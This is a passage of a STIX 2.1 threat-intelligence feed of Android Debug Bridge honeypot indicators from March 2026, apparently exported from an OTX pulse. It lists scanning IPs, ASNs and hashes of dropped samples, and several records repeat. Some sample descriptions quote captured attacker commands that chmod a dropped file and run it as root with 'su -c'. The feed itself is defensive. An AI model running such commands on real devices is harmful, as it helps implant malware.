          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:18:09.884Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:17:47.816Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:18:27.031Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=64; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-03. events=64 | first_seen=2026-03-09T16:16:34.000Z | last_seen=2026-03-09T16:28:47.958Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a213eeb8-2f8b-47f6-9ce9-7eaa1e015764",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '61.81.180.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "valid_until": "2026-04-10T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 64,
          "first_seen": "2026-03-09T16:16:34.000Z",
          "last_seen": "2026-03-09T16:28:47.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:18:09.884Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--b0a2c041-a286-4443-9375-212b4f3c80bc",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:17:47.816Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--be36b9a1-9049-4919-b904-9884df3c4d1d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T17:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5.raw; src_ip=61.81.180.99; src_ips=61.81.180.99; cc=KR; last_seen=2026-03-09T16:18:27.031Z; cmds=[/data/local/tmp/nohup /data/local/tmp/log | /data/local/tmp/nohup su -c /data/local/tmp/log | chmod 0755 /data/local/tmp/log]",
      "id": "indicator--e144f8d7-9ba7-448e-ad7e-1ec66d9ad4d9",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=232; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=467 | first_seen=2026-03-09T17:38:36.000Z | last_seen=2026-03-13T05:27:48.167Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--5607362d-1a85-4dde-a180-9407fa276198",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 467,
          "first_seen": "2026-03-09T17:38:36.000Z",
          "last_seen": "2026-03-13T05:27:48.167Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T17:47:37.000Z | last_seen=2026-03-09T17:48:43.476Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T17:47:37.000Z",
          "last_seen": "2026-03-09T17:48:43.476Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T17:47:38.000Z | last_seen=2026-03-09T17:57:49.901Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T17:47:38.000Z",
          "last_seen": "2026-03-09T17:57:49.901Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=232; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=467 | first_seen=2026-03-09T17:38:36.000Z | last_seen=2026-03-13T05:27:48.167Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--5607362d-1a85-4dde-a180-9407fa276198",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 467,
          "first_seen": "2026-03-09T17:38:36.000Z",
          "last_seen": "2026-03-13T05:27:48.167Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T17:47:37.000Z | last_seen=2026-03-09T17:48:43.476Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T17:47:37.000Z",
          "last_seen": "2026-03-09T17:48:43.476Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T17:47:38.000Z | last_seen=2026-03-09T17:57:49.901Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--20f9bd85-64c0-4076-81b2-bfa9d07838e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:00:02.000Z",
      "valid_until": "2026-04-10T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T17:47:38.000Z",
          "last_seen": "2026-03-09T17:57:49.901Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T18:30:10.000Z | last_seen=2026-03-09T18:31:12.526Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--31723584-f829-40a9-ad57-8bde67bc63be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:00:02.000Z",
      "valid_until": "2026-04-10T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T18:30:10.000Z",
          "last_seen": "2026-03-09T18:31:12.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-09T18:30:10.000Z | last_seen=2026-03-09T18:31:12.526Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--31723584-f829-40a9-ad57-8bde67bc63be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:00:03.000Z",
      "valid_until": "2026-04-10T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-09T18:30:10.000Z",
          "last_seen": "2026-03-09T18:31:12.526Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=HK; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-09T22:24:17.000Z | last_seen=2026-03-09T23:49:08.018Z | ports=5555 | cc=HK | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--3bcf2566-84a9-411a-8990-26a49f0df046",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.70.6.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-09T22:24:17.000Z",
          "last_seen": "2026-03-09T23:49:08.018Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
